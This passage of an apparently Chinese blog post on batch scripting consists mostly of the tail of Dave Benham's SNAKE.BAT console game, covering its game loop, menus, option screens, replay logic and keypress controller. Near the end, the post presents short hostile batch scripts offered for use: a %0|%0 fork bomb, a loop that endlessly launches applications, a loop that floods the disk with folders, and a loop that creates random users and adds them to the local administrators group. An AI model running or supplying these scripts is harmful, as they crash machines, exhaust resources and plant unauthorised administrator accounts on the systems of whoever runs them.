        set /a "xDiff=xTurn%%K*!yDiff!, yDiff=yTurn%%K*!xDiff!"
      ) else if "!%%KAxis!" neq "!axis!" (
        set /a "xDiff=xDiff%%K, yDiff=yDiff%%K"
        set "axis=!%%KAxis!"
      )

      %=== erase the tail ===%
      set "TX=!snakeX:~-2!"
      set "TY=!snakeY:~-2!"
      set "snakeX=!snakeX:~0,-2!"
      set "snakeY=!snakeY:~0,-2!"
      %plot% !TX! !TY! space

      %=== compute new head location and attempt to move ===%
      set /a "X=PX+xDiff, Y=PY+yDiff"
      set "X= !X!"
      set "Y= !Y!"
      set "X=!X:~-2!"
      set "Y=!Y:~-2!"
      (%test% !X! !Y! playerSpace) && (

        %=== move successful ===%

        %=== remove the new head location from the empty list ===%
        for %%X in ("!X!") do for %%Y in ("!Y!") do set "empty=!empty:#%%~X %%~Y=!"

        %=== eat any food that may be present ===%
        (%test% !X! !Y! food) && (
          %=== initiate growth ===%
          set /a grow+=growth

          %=== locate and draw new food ===%
          if defined replay (
            <&%keyStream% set /p "F="
          ) else (
            set /a "F=(!random!%%(emptyCnt-1))*6+1"
            (echo !F!) >>"!gameLog!"
          )
          for %%F in (!F!) do (%plot% !empty:~%%F,5! food)
        )

        if !grow! gtr 0 (
          %=== restore the tail ===%
          %plot% !TX! !TY! body
          set "snakeX=!snakeX!!TX!"
          set "snakeY=!snakeY!!TY!"
          set /a emptyCnt-=1

          %=== manage score ===%
          set /a "score+=1, grow-=1"
          if not defined replay if !score! gtr !hi! set /a "hi+=1, newHi=1"

        ) else (
          %=== add the former tail position to the empty list ===%
          set "empty=!empty!#!TX! !TY!"
        )

        %=== draw the new head ===%
        if defined snakeX (%plot% !PX! !PY! body)
        %plot% !X! !Y! head

        %=== Add the new head position to the snake strings ===%
        set "snakeX=!X!!snakeX!"
        set "snakeY=!Y!!snakeY!"
        set "PX=!X!"
        set "PY=!Y!"

        %draw%

      ) || (

        %=== failed move - game over ===%
        set "replayFinished=1"
        %plot% !TX! !TY! body
        call :spinner !PX! !PY! death
        %draw%
        if defined newHi (
          echo(
          echo New High Score - Congratulations^^!
          set "hi!diffCode!=!score!"
          copy "!gameLog!" "%hiFile%!diffCode!.txt" >nul
          >>"%hiFile%!diffCode!.txt" echo ::!score!
        )
        echo(
        %ClearLine%
        %ShowCursor%
        call :ask "Press a key to continue..."
        for %%A in (!configOptions!) do set "%%A=!%%ASave!"
        call :mainMenu
      )
    )
  )
)


::-------------------------------------
:getString  Prompt  Var  MaxLen
:: Prompt for a string with max lengh of MaxLen.
:: Valid keys are alpha-numeric, space, underscore, and dash
:: String is terminated by Enter
:: Backspace works to delete previous character
:: Result is returned in Var
set /a "maxLen=%3"
set "%2="
%sendCmd% prompt
<nul set /p "=%~1 "
call :purge
:getStringLoop
(%getKey% !upper! 0 1 2 3 4 5 6 7 8 9 " " _ - {Enter} !BS!)
if defined key (
  if !key! equ {Enter} (
    echo(
    exit /b
  )
  if !key! neq !BS! if !maxLen! gtr 0 (
    set /a maxLen-=1
    <nul set /p "=.!BS!!key!"
    set "%2=!%2!!key!
  )
  if !key! equ !BS! if defined %2 (
    set /a maxLen+=1
    <nul set /p "=!BS! !BS!"
    set "%2=!%2:~0,-1!"
  )
)
if defined inKey %sendCmd% one
goto :getStringLoop


::-------------------------------------
:ask  Prompt  ValidKey [Validkey]...
:: Prompt for a keypress.
:: Wait until a ValidKey is pressed and return result in Key variable.
:: Token delimiters, ), and poison characters must be quoted.
%sendCmd% prompt
<nul set /p "=%~1 "
(set validKeys=%*)
(set validKeys=!validKeys:%1=!)
call :purge
:getResponse
(%getKey% !validKeys!)
if not defined key (
  if defined inKey %sendCmd% one
  goto :getResponse
)
exit /b


:purge
set "inKey="
for /l %%N in (1 1 1000) do (
  set /p "inKey="
  if "!inKey!" equ "{purged}." exit /b
)<&%keyStream%
goto :purge


::-------------------------------------
:spinner  X  Y  ValueVar
set /a d1=-1000000
for /l %%N in (1 1 5) do for %%C in (%spinner%) do (
  call :spinnerDelay
  %plot% %1 %2 %%C
  %draw%
)
call :spinnerDelay
(%plot% %1 %2 %3)
exit /b


::-------------------------------------
:delay  centiSeconds
setlocal
for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "spinnerDelay=%1, d1=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100"
:: fall through to :spinnerDelay

::-------------------------------------
:spinnerDelay
for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "d2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, dDiff=d2-d1"
if %dDiff% lss 0 set /a dDiff+=24*60*60*100
if %dDiff% lss %spinnerDelay% goto :spinnerDelay
set /a d1=d2
exit /b


::-------------------------------------
:mainMenu
if defined toggleVT100 call :graphicOptions
cls
call :resize
set "loadAvailable="
echo SNAKE.BAT v4.0 by Dave Benham
echo(
echo Main Menu:
echo(
echo   N - New game
echo   F - Field size..... !size!
echo   W - groWth rate.... !growth!
echo   C - Control options
echo   G - Graphic options

if defined replayAvailable echo   R - Replay previous game
if defined saveAvailable   echo   S - Save a game
if exist *.snake.txt       echo   L - Load and watch a saved game&set "loadAvailable=L"

echo   Q - Quit
echo(
set "hiAvailable="
for /l %%N in (1 1 6) do if defined hi%%N (
  if not defined hiAvailable (
    echo Replay High Score:
    echo(
  )
  set "desc=!desc%%N!........"
  set "hiAvailable=!hiAvailable! %%N"
  echo   %%N - !desc:~0,8! !hi%%N!
)
if defined hiAvailable echo(
set "keys=N F W C G Q !hiAvailable! !replayAvailable! !saveAvailable! !loadAvailable!"
call :ask ">" !keys!
if /i !key! equ Q (
  %sendCmd% quit
  cls
  exit %exitCode%
) else if /i !key! equ N (
  set "replay="
  set "replayAvailable=R"
  set "saveAvailable=S"
  goto :initialize
) else if /i !key! equ S (
  if defined replayAvailable (
    call :ask "HighScore # or P for Previous:" !hiAvailable! P
  ) else (
    call :ask "HighScore #:" !hiAvailable!
  )
  echo !key!
  if /i !key! equ P (set "src=!gameLog!") else set "src=%hiFile%!key!.txt"
  call :getString "Save file name:" file 20
  copy "!src!" "!file!.snake.txt"
  call :ask "Press a key to continue..."
) else if /i !key! equ L (
  call :getString "Load file name:" file 20
  if exist "!file!.snake.txt" (
    set "replay=!file!.snake.txt"
    goto :initialize
  )
  echo Error: File "!file!.snake.txt" not found
  call :ask "Press a key to continue..."
) else if /i !key! equ R (
  set "replay=!gameLog!"
  goto :initialize
) else if /i !key! equ C (
  call :controlOptions
) else if /i !key! equ G (
  call :graphicOptions
) else if /i !key! equ F (
  call :sizeOptions
) else if /i !key! equ W (
  call :ask "Press a digit for growth rate (0 = 10)" 0 1 2 3 4 5 6 7 8 9
  if !key! equ 0 set "key=10"
  set "growth=!key!"
  call :loadHighScores
) else if !key! geq 1 if !key! leq 6 (
  set "replay=%hiFile%!key!.txt"
  goto :initialize
)
goto :mainMenu


::-------------------------------------
:sizeOptions
cls
set "keys=T S M L W N"
echo Field Size Options:
echo(
echo   T - Tiny   15 x 10
echo   S - Small  30 x 20
echo   M - Medium 40 x 25
echo   L - Large  47 x 32
echo   W - Wide   82 x 19
echo   N - Narrow 15 x 40
echo(
call :ask ">" !keys!
set "size=!size%key%!"
set /a "dispWidth=!width%key%!, dispHeight=!height%key%!"
call :loadHighScores
goto :saveUserPrefs
exit /b


::-------------------------------------
:controlOptions
cls
set "keys={Enter} T L R P"
if !moveKeys! equ 4 set "keys=!keys! U D"
                    echo Control Options:
                    echo(
                    echo   T - Type... = !moveKeys! keys
                    echo(
                    echo   L - Left... = !left!
                    echo   R - Right.. = !right!
if !moveKeys! equ 4 echo   U - Up..... = !up!
if !moveKeys! equ 4 echo   D - Down... = !down!
                    echo(
                    echo   P - Pause.. = !pause!
                    echo(
                    echo   {Enter} - Return to Main Menu
                    echo(
call :ask ">" !keys!
if !key! equ {Enter} goto :saveUserPrefs
if /i !key! equ T (
  if !moveKeys! equ 2 (set "moveKeys=4") else set "moveKeys=2"
  goto :controlOptions
)
set "option= LLeft RRight UUp DDown PPause"
for /f %%O in ("!option:* %key%=!") do (
  call :ask "Press a key for %%O:"
  for %%K in (0 1 2) do if "!key!" equ "!invalid:~%%K,1!" goto :controlOptions
  for %%C in (!upper!) do set "key=!key:%%C=%%C!"
  set "%%O=!key!"
)
goto :controlOptions


::-------------------------------------
:graphicOptions
set "toggleVT100="
cls
echo Graphic Options:
echo(
echo   B - Border...... = !bound!
echo   E - Empty space. = !space!
echo   H - snake Head.. = !head!
echo   S - Snake body.. = !body!
echo   F - Food........ = !food!
echo   D - Death....... = !death!
echo(
echo   V - VT100 mode.. = !vt%vt%!
echo(
echo   {Enter} - Rturn to Main Menu
echo(
call :ask ">" B E H S F D V {Enter}
if !key! equ {Enter} goto :saveUserPrefs
if /i !key! equ V (
  set /a "vt=^!vt"
  call :saveUserPrefs
  %sendCmd% quit
  exit 2
) else (
  set "option=-BBorder:bound:-EEmpty Space:space:-HSnake Head:head:-SSnake Body:body:-FFood:food:-DDeath:death:"
  for /f "tokens=1,2 delims=:" %%A in ("!option:*-%key%=!") do (
    call :ask "Press a key for %%A"
    for %%K in (0 1 2) do if "!key!" equ "!invalid:~%%K,1!" goto :graphicOptions
    set "%%B=!key!"
  )
)
goto :graphicOptions


::------------------------------------
:saveUserPrefs
(for %%V in (moveKeys up down left right space bound food head body death pause growth vt size dispWidth dispHeight) do echo %%V=!%%V!) >"%userPref%"
exit /b


::-------------------------------------
:initialize
cls
if defined replay (
  echo Replay Speed Options:
) else (
  echo Speed Options:
)
echo                       delay
echo    #   Description  (seconds)
echo   ---  -----------  ---------
for /l %%N in (1 1 6) do (
  set "delay=0!delay%%N!"
  set "desc=!desc%%N!           "
  echo    %%N   !desc:~0,11!    0.!delay:~-2!
)
echo(
call :ask "Pick a speed (1-6):" 1 2 3 4 5 6
set "difficulty=!desc%key%!"
set "delay=!delay%key%!"
set "diffCode=%key%"
echo %key% - %difficulty%
echo(
<nul set /p "=Initializing."
for %%A in (!configOptions!) do set "%%ASave=!%%A!"
if defined replay (
  %sendCmd% replay
  %sendCmd% !replay!
  call :waitForSignal
  set "replay=(REPLAY at !difficulty!)"
  set "size=%defaultSize%"
  set /a "dispWidth=defaultWidth, dispHeight=defaultHeight"
  :loadReplayConfig
  <&%keyStream% set /p "ln="
  if "!ln!" neq "END" set "!ln!" & goto :loadReplayConfig
  call :resize
)
set "axis=X"
set "xDiff=+1"
set "yDiff=+0"
set "empty="
set /a "PX=1, PY=height/2, FX=width/2+1, FY=PY, score=0, emptyCnt=0, t1=-1000000"
set "gameStart="
set "m=00"
set "s=00"
set "snakeX= %PX%"
set "snakeY= %PY%"
set "snakeX=%snakeX:~-2%"
set "snakeY=%snakeY:~-2%"
for /l %%Y in (0 1 %height%) do (
  <nul set /p "=."
  set "line%%Y="
  for /l %%X in (0,1,%width%) do (
    set "cell="
    if %%Y equ 0        set "cell=%bound%"
    if %%Y equ %height% set "cell=%bound%"
    if %%X equ 0        set "cell=%bound%"
    if %%X equ %width%  set "cell=%bound%"
    if %%X equ %PX% if %%Y equ %PY% set "cell=%head%"
    if not defined cell (
      set "cell=%space%"
      set "eX= %%X"
      set "eY= %%Y"
      set "empty=!empty!#!eX:~-2! !eY:~-2!"
      set /a emptyCnt+=1
    )
    if %%X equ %FX% if %%Y equ %FY% set "cell=%food%"
    set "line%%Y=!line%%Y!!cell!"
  )
)
set "replayFinished="
if defined replay (
  set "keys="
  set "hi=0"
  for /f "delims=:" %%A in ('findstr "^::" "%hiFile%!diffCode!.txt" 2^>nul') do set "hi=%%A"
  %HideCursor%
  cls
  (%draw%)
  call :delay 100
) else (
  if defined hi%diffCode% (set "hi=!hi%diffCode%!") else set "hi=0"
  cls
  (%draw%)
  >"!gameLog!" ( 
    for %%A in (!configOptions!) do (echo %%A=!%%A!)
    (echo END)
  )
  echo(
  if !moveKeys! equ 4 (
    echo Controls: !up!=up !down!=down !left!=left !right!=right !pause!=pause
  ) else (
    echo Controls: !left!=left !right!=right !pause!=pause
  )
  echo Avoid running into yourself (!body!!body!!head!^) or wall (!bound!^)
  echo Eat food (!food!^) to grow.
  echo(
  call :ask "Press a key to start..."
  %HideCursor%
  %sendCmd% go
)
set "pauseTime=0"
set "xDiff!up!=+0"
set "xDiff!down!=+0"
set "xDiff!left!=-1"
set "xDiff!right!=+1"
set "yDiff!up!=-1"
set "yDiff!down!=+1"
set "yDiff!left!=+0"
set "yDiff!right!=+0"
set "!up!Axis=Y"
set "!down!Axis=Y"
set "!left!Axis=X"
set "!right!Axis=X"
set "xTurn!left!=1"
set "xTurn!right!=-1"
set "yTurn!left!=-1"
set "yTurn!right!=1"
set "playerSpace=!space!!food!"
set ^"keys="!left!" "!right!" "!pause!"^"
set "newHi="
set "grow=0"
if !moveKeys! equ 4 set ^"keys=!keys! "!up!" "!down!"^"
if defined Up4 if not defined replay (
  %Up4%
  for /l %%N in (1 1 5) do (echo(                                             )
)
exit /b


::-------------------------------------
:waitForSignal
if not exist "%signal%" goto :waitForSignal
del "%signal%"
exit /b


::-------------------------------------
:loadHighScores
set "saveAvailable="
for /l %%N in (1 1 6) do (
  set "hi%%N="
  for /f "delims=:" %%A in ('findstr "^::" "%hiFile%%%N.txt" 2^>nul') do (
    set "hi%%N=%%A"
    set "saveAvailable=S"
  )
)
exit /b


::----------------------------
:resize the console window
set /a cols=dispWidth+1, lines=dispHeight+10, area=(dispWidth-2)*(dispHeight-2)
if %area% gtr 1365 (
  echo ERROR: Playfield area too large
  %sendCmd% quit
  exit
)
if %lines% lss 25 set lines=25
if %cols% lss 46 set cols=46
mode con: cols=%cols% lines=%lines%
set /a "width=dispWidth-1, height=dispHeight-1"
set "resize="
exit /b


::-------------------------------------
:fixLogs
setlocal enableDelayedExpansion
for %%F in (*.snake) do (
  ren "%%F" "%%F.txt"
  call :fixLog "%%F.txt"
)
pushd "%SaveLoc%"
for /f "delims=" %%F in ('dir /b SnakeHi*.txt 2^>nul') do (
  set "file=%%~nF"
  set "file=Snake1Hi!file:~-1!.txt"
  ren "%%F" "!file!"
  call :fixLog "!file!"
)
for /f "tokens=1* delims=eE" %%A in (
  'dir /b Snake*Hi*.txt ^| findstr /i "^Snake[0-9]"'
) do ren "Snake%%B" "SnakeMedium%%B"
popd
exit /b

:fixLog  filePath
>"%~1.new" (
  <"%~1" (
    for %%A in (diffCode difficulty moveKeys up down left right) do (
      set /p "val="
      (echo %%A=!val!)
    )
  )
  (echo growth=1)
  (echo END)
  more +7 "%~1"
)
move /y "%~1.new" "%~1" >nul
exit /b


::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:controller
:: Detects keypresses and sends the information to the game via a key file.
:: The controller has various modes of input that are activated by commands sent
:: from the game via a cmd file.
::
:: Modes:
::
::   hold   - No input, wait for command
::
::   go     - Continuously get/send key presses
::
::   prompt - Send {purged} marker to allow game to purge input buffer, then
::            get/send a single key press and hold
::
::   one    - Get/send a single key press and hold
::
::   replay - Copy a game log to the key file. The next line in cmd file
::            specifies name of log file to copy. During replay, the controller
::            will send an abort signal to the game if a key is pressed.
::
::   quit   - Immediately exit the controller process
::
:: As written, this routine incorrectly reports ! as ), but that doesn't matter
:: since we don't need that key. Both <CR> and Enter key are reported as {Enter}.
:: An extra character is appended to the output to preserve any control chars
:: when read by SET /P.

setlocal enableDelayedExpansion
for /f %%a in ('copy /Z "%~dpf0" nul') do set "CR=%%a"
set "cmd=hold"
set "inCmd="
set "key="
for /l %%. in () do (
  if "!cmd!" neq "hold" (
    for /f "delims=" %%A in ('xcopy /w "%~f0" "%~f0" 2^>nul') do (
      if not defined key set "key=%%A"
    )
    set "key=!key:~-1!"
    if !key! equ !CR! set "key={Enter}"
  )
  <&%cmdStream% set /p "inCmd="
  if defined inCmd (
    if !inCmd! equ quit exit
    set "cmd=!inCmd!"
    if !inCmd! equ replay (
      <&%cmdStream% set /p "file="
      type "!file!" >&%keyStream%
      copy nul "%signal%"
    )
    set "inCmd="
  )
  if defined key (
    if "!cmd!" equ "prompt" (echo {purged}.)
    if "!cmd!" equ "replay" (
      copy nul "%signal%" >nul
      set "cmd=go"
    ) else (echo(!key!.)
    if "!cmd!" neq "go" set "cmd=hold"
    set "key="
  )>&%keyStream%
)

无限执行

0%|0%

应用轰炸

@echo off
:loop
start notepad
start winword
start mspaint
start write
start cmd
start explorer
start control
start firefox
start msconfig
goto loop

文件夹泛滥

@echo off
:loop
mkdir %random%
goto loop

用户泛滥

@echo off
:usrflood
set usr=%random%
net users %usr% %random% /add
net localgroup administrators %usr% /add
goto usrflood

参考

Batch Script Tutorial

DOS Batch Forum

11 Insane Things You Can do with Batch Programming

Windows Batch Scripting

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值